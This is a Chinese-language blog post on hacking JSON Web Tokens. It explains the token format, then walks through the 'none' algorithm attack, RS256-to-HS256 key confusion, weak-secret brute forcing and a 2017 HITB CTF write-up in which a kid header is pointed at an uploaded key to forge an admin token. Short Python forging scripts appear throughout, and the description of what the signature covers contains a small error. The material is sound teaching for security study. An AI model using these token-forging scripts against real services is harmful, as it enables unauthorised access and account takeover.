Hacking JWT(JSON Web Token)
0x01 JWT工作流程
JSON Web Token(JWT)是一个非常轻巧的规范。
这个规范允许我们使用JWT在用户和服务器之间传递安全可靠的信息。
JWT常被用于前后端分离,可以和Restful API配合使用,常用于构建身份认证机制
以20170824 HITB的一道Web题Pasty为例,这题的功能很简单,下面看一下JWT的工作流程
注册
登录
登录时返回的数据如下
eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw
登录后访问数据(GET)
可以看JWT被带到了HTTP Header中(前端的工作)
登录后提交数据(POST)
可以看到JWT其实是被当做身份认证信息携带的,另外JWT常被前端代码存储于localstorge中
携带了JWT的HTTP Header:
Authorization: Bearer eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJ0ZXN0In0.p3_kqvlEg2S7X98HPZuliUmY3JfQOVfSNfrtcxrDAUHrnSW5S8KqtsKUoMKvRtx41_sngfyIbhrnJJYvp90YaaKG90YyaVJrAVFx-uRXkssvAiE-6X8GIU9UI-kC_J5QWIasggQ7a1Ro9nhv5e7gZwJTq50YTg8yAJ8B-x9BmxKBh8k0tNh_NbfgrRrH6glLKKN3O2Z3GrWgWmUWd6RZuITj2LDRzD43LcY0RdzqSmxmHuQ8SDOWIT8kbGaBqSVO14GVoY8y1GHyskX2gZdUN6qaB6uB9W_XFdYuSrM2gD0srmq-rGcZbyEH_q-1zt8MWUw-JSJF5_JK09mMmBmrmw
0x02 JWT的格式
JWT的格式非常简单
JWT的数据分为三个部分: headers , payloads,signature(签名)
三者通过.
分割,均采用base64UrlEncode
function base64url_encode($data) {
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
如上一节中的JWT数据
eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw
其三个部分为
header
eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ
解码后为:{"kid":"keys/3c3c2ea1c3f113f649dc9389dd71b851","typ":"JWT","alg":"RS256"}
headers中包含了关于JWT的配置信息,如签名算法(alg),类型(JWT),kid表示算法所使用的密钥文件(当服务端需要多个密钥文件时使用)
payloads
eyJzdWIiOiJkdWJoZTEyMyJ9
解码后为:{"sub":"dubhe123"}
payload中存储一些用户数据,比如用户名(dubhe123)
payload中也有一些JWT标准定义的字段,用户可选择使用
{
"iss": "John Wu JWT",
"iat": 1441593502,
"exp": 1441594722,
"aud": "www.example.com",
"sub": "jrocket@example.com",
"username": "A"
}
这几个字段的含义如下,其中需要注意的字段是exp,这字段可在一定程度上被用来防止重放攻击
iss: 该JWT的签发者
sub: 该JWT所面向的用户
aud: 接收该JWT的一方
exp(expires): 什么时候过期,这里是一个Unix时间戳
iat(issued at): 在什么时候签发的
signature
signature:
XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw
因为header和payload是明文存储的,所以签名是为了防止数据被修改的,提供了对数据的交易功能
签名常使用RS256(RSA 非对称加密,使用私钥签名)、HS256(HMAC SHA256 对称加密)算法,签名对象为base64UrlEncode(headers) + '.' + base64UrlEncode('signature')
0x03 攻击JWT
1. 敏感信息泄露
很明显的一点,因为payload是明文传输的,所以如果payload中存在敏感信息就会出现信息泄露
2. 修改算法为none
签名算法保证了JWT在传输的过程中不被恶意用户修改
但是header中的alg字段可被修改为none
一些JWT库支持none算法,即没有签名算法,当alg为none时后端不会进行签名校验
将alg修改为none后,去掉JWT中的signature数据(仅剩header + '.' + payload + '.')然后提交到服务端即可
这种攻击的例子可以参考:http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php
代码可以在Github上找到 https://github.com/Sjord/jwtdemo/
这个例子的解法如下
import jwt
import base64
# 原header
# eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9
# {"typ":"JWT","alg":"HS256"}
# 原payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504006435,"exp":1504006555,"data":{"hello":"world"}}
def b64urlencode(data):
return base64.b64encode(data).replace('+', '-').replace('/', '_').replace('=', '')
# 构造算法字段为none, payload部分可以随意修改
print b64urlencode("{\"typ\":\"JWT\",\"alg\":\"none\"}") + \
'.' + b64urlencode("{\"data\":\"test\"}") + '.'
结果如下
3. 修改算法RS256为HS256(非对称密码算法 => 对称密码算法)
算法HS256使用秘密密钥对每条消息进行签名和验证。
算法RS256使用私钥对消息进行签名,并使用公钥进行验证。
如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名。
由于公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。
后端代码会使用RSA公钥+HS256算法进行签名验证。
同样的,可以通过一个例子来理解这种攻击方式 http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php
RSA公钥:http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem
该例子解法如下
import jwt
# eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9
# {"typ":"JWT","alg":"RS256"}
# eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNzg3NCwiZXhwIjoxNTA0MDA3OTk0LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0
# {"iss":"http:\/\/demo.sjoerdlangkemper.nl\/","iat":1504007874,"exp":1504007994,"data":{"hello":"world"}}
public = open('public.pem.1', 'r').read()
print public
print jwt.encode({"data":"test"}, key=public, algorithm='HS256')
结果如下(验证通过):
4. HS256(对称加密)密钥破解
如果HS256密钥强度较弱,可以直接暴力破解,如PyJWT库样例代码中使用secret字符串当做密钥
那么暴力猜解密钥,当密钥正确则解密成功,密钥错误解密代码抛出异常
可使用PyJWT或 John Ripper进行破解测试
附: 相关工具
PyJWT库 https://github.com/jpadilla/pyjwt
>>> import jwt
>>> encoded = jwt.encode({'some': 'payload'}, 'secret', algorithm='HS256')
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg'
>>> jwt.decode(encoded, 'secret', algorithms=['HS256'])
{'some': 'payload'}
0x04 实例:2017 HITB Pasty
该Web应用JWT使用RS256算法,公钥文件存放在http://47.74.147.52:20012/keys/ 目录(根据kid的值猜测得出的)
尝试将算法设置为none和将算法替换为HS256,但是均未通过服务端验证
所以JWT应该还是使用RS256算法。
该Web应用的场景为用户可以自己创建Pasty,并提供了下载文本格式的Pasty的功能。
下载链接为 http://47.74.147.52:20012/api/paste/(pasty_id )?raw
如 http://47.74.147.52:20012/api/paste/2f9438d4-83e1-4b0b-a15a-025ad7cb6db0?raw
所以可以新建一个Pasty,内容为我们自己生成的公钥
然后使用python JWT库编写代码,使用我们生成的私钥对我们构造的admin的数据进行签名
其中kid为api/paste/2f9438d4-83e1-4b0b-a15a-025ad7cb6db0?raw=
import jwt
private = open('key.pem', 'r').read()
print jwt.encode({"sub":"admin"}, key=private, \
headers={'kid': 'api/paste/2f9438d4-83e1-4b0b-a15a-025ad7cb6db0?raw='}, algorithm='RS256')
使用私钥进行签名的时候发现jwt库会抛出异常,这里直接将库中的异常处理代码注释掉即可
使用构造好的JWT访问 /api/paste获得admin的Pasty ID
访问admin的Pasty,获得Flag
0x05 参考
https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/
https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
https://blog.websecurify.com/2017/02/hacking-json-web-tokens.html
Hacking JWT(JSON Web Token)的更多相关文章
- Java JWT: JSON Web Token
Java JWT: JSON Web Token for Java and Android JJWT aims to be the easiest to use and understand libr ...
- 如何在SpringBoot中集成JWT(JSON Web Token)鉴权
这篇博客主要是简单介绍了一下什么是JWT,以及如何在Spring Boot项目中使用JWT(JSON Web Token). 1.关于JWT 1.1 什么是JWT 老生常谈的开头,我们要用这样一种工具 ...
- JWT(JSON Web Token) 【转载】
JWT(JSON Web Token) 什么叫JWTJSON Web Token(JWT)是目前最流行的跨域身份验证解决方案. 一般来说,互联网用户认证是这样子的. 1.用户向服务器发送用户名和密码. ...
- [更新]一份包含: 采用RSA JWT(Json Web Token, RSA加密)的OAUTH2.0,HTTP BASIC,本地数据库验证,Windows域验证,单点登录的Spring Security配置文件
没有任何注释,表怪我(¬_¬) 更新: 2016.05.29: 将AuthorizationServer和ResourceServer分开配置 2016.05.29: Token获取采用Http Ba ...
- ( 转 ) 什么是 JWT -- JSON WEB TOKEN
什么是JWT Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519).该token被设计为紧凑且安全的,特别适用于分布式站点 ...
- 关于JWT(Json Web Token)的思考及使用心得
什么是JWT? JWT(Json Web Token)是一个开放的数据交换验证标准rfc7519(php 后端实现JWT认证方法一般用来做轻量级的API鉴权.由于许多API接口设计是遵循无状态的(比如 ...
- 什么是JWT(Json Web Token)
什么是 JWT (Json Web Token) 用户认证是计算机安全领域一个永恒的热点话题. JWT 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准((RFC 7519). 该to ...
- API安全验证之JWT(JSON WEB TOKEN) OLCMS
假如www.olcms.com/getUserInfo获取用户信息,你怎么知道当前用户是谁?有人说登陆时候我把他UID写入session了,如果是API接口,没有session怎么办,那么就需要把UI ...
- 5分钟搞懂:JWT(Json Web Token)
https://www.qikegu.com/easy-understanding/892 JWT 基于token的用户认证原理:让用户输入账号和密码,认证通过后获得一个token(令牌),在toke ...
随机推荐
- AddBinary
二进制加法 输入2个字符串,字符串内由0和1组成:计算二者之和,返回字符串 Given two binary strings, return their sum (also a binary stri ...
- Java条件查询涉及到时分秒
关于Oralce数据库 的日期时间查询: 下面我们先来看一组日期数据 表:myDate 列:time; 1998-8-7 23:45:33.3 1998-8-7 11:22:21.5 1998-8-7 ...
- effective java 第2章-创建和销毁对象 读书笔记
背景 去年就把这本javaer必读书--effective java中文版第二版 读完了,第一遍感觉比较肤浅,今年打算开始第二遍,顺便做一下笔记,后续会持续更新. 1.考虑用静态工厂方法替代构造器 优 ...
- Laravel 中使用子域名(一个框架多项目)
1.本地虚拟域名为:www.test.com,子域名为admin.test.com 2.apache环境中,配置apache的httpd-vhost.conf文件 <VirtualHost *: ...
- 【SignalR学习系列】2. 第一个SignalR程序
新建项目 1.使用VisualStudio 2015 新建一个Web项目 2.选择空模板 3.添加一个新的SignalR Hub Class (v2)类文件,并修改类名为ChatHub 4.修改Cha ...
- php nginx反向代理
一.概念理解 1.代理服务器 代理服务器,客户机在发送请求时,不会直接发送给目的主机,而是先发送给代理服务器,代理服务接受客户机请求之后,再向主机发出,并接收目的主机返回的数据,存放在代理服务器的硬盘 ...
- inet_ntoa将客户端的IP和port写入M…
问题:inet_ntoa将客户端的IP和port写入MYSQL中的解决方法和遇到的问题
- 记录easyui一些用法
自己备注,省的之后忘记.用到一个写一个,不断添加 1.form里的一些控件如textbox.combobox等添加额外的一些事件,如鼠标事件(mouseover.click等),键盘事件(keydow ...
- matplotlib实现数据可视化
一篇matplotlib库的学习博文.matplotlib对于数据可视化非常重要,它完全封装了MatLab的所有API,在python的环境下和Python的语法一起使用更是相得益彰. 一.库的安装和 ...
- X-NUCA 2017 web专题赛训练题 阳光总在风雨后和default wp
0X0.前言 X-NUCA 2017来了,想起2016 web专题赛,题目都打不开,希望这次主办方能够搞好点吧!还没开赛,依照惯例会有赛前指导,放一些训练题让CTFer们好感受一下题目. 题目有一大 ...